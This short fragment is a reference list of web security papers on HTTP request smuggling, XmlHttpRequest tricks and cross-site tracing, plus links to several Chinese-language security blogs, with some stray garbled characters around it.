$ x8 H: F% C! g# W"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
( y) T  X) M7 g7 m% |